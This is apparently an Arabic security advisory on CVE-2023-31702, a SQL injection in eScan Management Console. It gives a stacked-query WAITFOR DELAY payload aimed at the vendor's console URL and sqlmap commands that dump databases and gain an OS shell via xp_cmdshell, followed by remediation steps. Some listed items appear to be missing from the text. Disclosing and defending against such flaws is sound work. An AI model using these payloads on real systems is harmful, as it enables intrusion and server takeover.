
CVE-2023-31702 هي ثغرة حقن SQL مصادَق عليها تم اكتشافها في وحدة التحكم الإدارية eScan Management Console من MicroWorld Technologies الإصدار 14.0.1400.2281.
CVE-2023-31702 هي ثغرة حقن SQL تتطلب مصادقة تم اكتشافها في MicroWorld Technologies eScan Management Console الإصدار 14.0.1400.2281. توجد الثغرة في نقطة الوصول GetUserCurrentPwd، حيث يتم تمرير المعامل UsrId مباشرة إلى استعلام SQL دون تعقيم مناسب أو استخدام استعلامات معاملية. يمكن للمهاجم المصادَق استغلال هذا الخلل لتنفيذ حقن SQL أعمى قائم على الوقت، واستخراج قاعدة البيانات الخلفية بالكامل، والحصول في النهاية على شل أوامر تفاعلي لنظام التشغيل على خادم Microsoft SQL Server الأساسي — مما يؤدي إلى اختراق النظام بالكامل.
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2023-31702 |
| نوع الثغرة | حقن SQL (أعمى قائم على الوقت / استعلامات مكدسة) |
| المنتج المتأثر | MicroWorld Technologies eScan Management Console |
| الإصدار المتأثر | 14.0.1400.2281 |
| نقطة الوصول المعرضة | /ewconsole/ewconsole.dll/GetUserCurrentPwd |
| المعامل المعرض | UsrId |
| المصادقة | مطلوبة (بيانات اعتماد صالحة لوحدة التحكم) |
| تم الاختبار على | Windows |
| قياس CVSS v3.1 | 8.8 (عالية) |
| متجه CVSS | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| تاريخ الإبلاغ | 16 مايو 2023 |
| المؤلف | Sahil Ojha |
| الحقل | التفاصيل |
|---|---|
| البائع | MicroWorld Technologies |
| المنتج | eScan Management Console |
| الصفحة الرئيسية للبائع | https://www.escanav.com |
| رابط البرنامج | https://cl.escanav.com/ewconsole.dll |
| المنصة | Windows |
يوفر eScan Management Console واجهة قائمة على الويب لإدارة أمان نقاط النهاية عبر شبكة المؤسسة. تكشف ميزة "عرض ملف تعريف المستخدم" عن نقطة وصول شبيهة بـ REST:
/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=<ID>&cnt=<counter>
يتم تضمين المعامل UsrId في استعلام SQL خلفي دون تحقق أو تهريب أو استخدام استعلامات معاملية. وهذا يسمح لمهاجم مصادق بحقن عبارات SQL عشوائية في الاستعلام، مما يؤدي إلى:
WAITFOR DELAY لتأكيد قابلية الاستغلال.xp_cmdshell في SQL Server (المفعَّل عبر sp_configure) لتنفيذ أوامر نظام تشغيل عشوائية على الخادم بصلاحيات حساب خدمة SQL Server.الاستغلال الناجح لهذه الثغرة يسمح للمهاجم بـ:
⚠️ ملاحظة: يجب على المهاجم أولاً الحصول على بيانات اعتماد صالحة لوحدة تحكم eScan للإدارة. ومع ذلك، بمجرد المصادقة، يكون الاستغلال مباشرًا ولا يتطلب صلاحيات وحدة تحكم مرتفعة.
بعد المصادقة على وحدة تحكم eScan للإدارة، انتقل إلى عنوان URL التالي:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493
يعيد هذا بيانات ملف تعريف المستخدم الحالي، مما يؤكد أن نقطة الوصول متاحة.

احقن الحمولة الزمنية التالية في المعامل UsrId:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR DELAY '0:0:5'--&cnt=4176
تحليل الحمولة:
; — ينهي عبارة SQL الأصلية ويبدأ عبارة جديدة (استعلام مكدس).WAITFOR DELAY '0:0:5' — يطلب من خادم SQL التوقف لمدة 5 ثوانٍ قبل الرد.-- — يعلّق باقي الاستعلام الأصلي لمنع أخطاء الصياغة.إذا تأخر استجابة الخادم نحو 5 ثوانٍ، يتم تأكيد الحقن.

بمجرد تأكيد حقن SQL الأعمى، يمكن استخراج قاعدة البيانات بالكامل باستخدام SQLMap:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--dbs \
--batch
يقوم هذا بتعداد جميع قواعد البيانات المستضافة على خادم SQL الخلفي.
يمكن لـ SQLMap أيضًا تصعيد الهجوم إلى تنفيذ أوامر على مستوى نظام التشغيل عن طريق تمكين واستغلال xp_cmdshell:
sqlmap -u "https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=5493" \
--cookie="<session_cookie>" \
--dbms=mssql \
--os-shell \
--batch
ينشئ هذا شل نظام تشغيل تفاعلي على مضيف SQL Server.

مع إنشاء شل نظام التشغيل، يمكن تنفيذ أوامر Windows عشوائية على الخادم:

يوصى بشدة بالتدابير التالية لمعالجة هذه الثغرة والتخفيف من حدتها:
استخدام استعلامات معاملية / عبارات مُجهزة — لا تقم أبدًا بدمج مدخلات المستخدم مباشرة في استعلامات SQL. استخدم معاملات مرتبطة لفصل البيانات عن منطق الاستعلام.
التحقق من المدخلات وتعقيمها — تحقق بدقة من جميع المعاملات المقدمة من المستخدم على الخادم. بالنسبة للمعرفات الرقمية مثل UsrId، فرض إدخال أعداد صحيحة فقط ورفض أي قيمة تحتوي على أحرف خاصة.
تطبيق تصحيح البائع — حدّث وحدة تحكم eScan للإدارة إلى أحدث إصدار متاح. تواصل مع دعم MicroWorld Technologies أو راجع نشرات الأمان الخاصة بهم للحصول على أحدث إصدار مصحح.
الحد الأدنى من الصلاحيات لحسابات قاعدة البيانات — يجب أن يمتلك حساب قاعدة بيانات التطبيق الحد الأدنى من الصلاحيات المطلوبة فقط. يجب ألا يمتلك أدوار sysadmin أو db_owner، ويجب تعطيل xp_cmdshell.
تعطيل xp_cmdshell — ما لم يكن مطلوبًا صراحةً، قم بتعطيل الإجراء المخزن الموسع xp_cmdshell على مثيل SQL Server:
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
جدار حماية تطبيقات الويب (WAF) — انشر جدار حماية WAF لاكتشاف ومنع أنماط حقن SQL الشائعة كإجراء دفاع متعمق.
تقسيم الشبكة — قيّد الوصول إلى وحدة تحكم eScan للإدارة على نطاقات IP موثوقة وتأكد من عدم تعرض خادم SQL مباشرة للإنترنت.
| التاريخ | الحدث |
|---|---|
| 16 مايو 2023 | تم اكتشاف الثغرة والإبلاغ عنها بواسطة Sahil Ojha |
| مايو 2023 | تم تعيين CVE-2023-31702 بواسطة MITRE |
| مايو 2023 | الإفصاح العام |
Sahil Ojha — باحث أمني
هذا الإفصاح مخصص للأغراض التعليمية وأغراض البحث الأمني فقط. استغلال هذه الثغرة ضد أنظمة دون إذن كتابي صريح يعد غير قانوني وغير أخلاقي.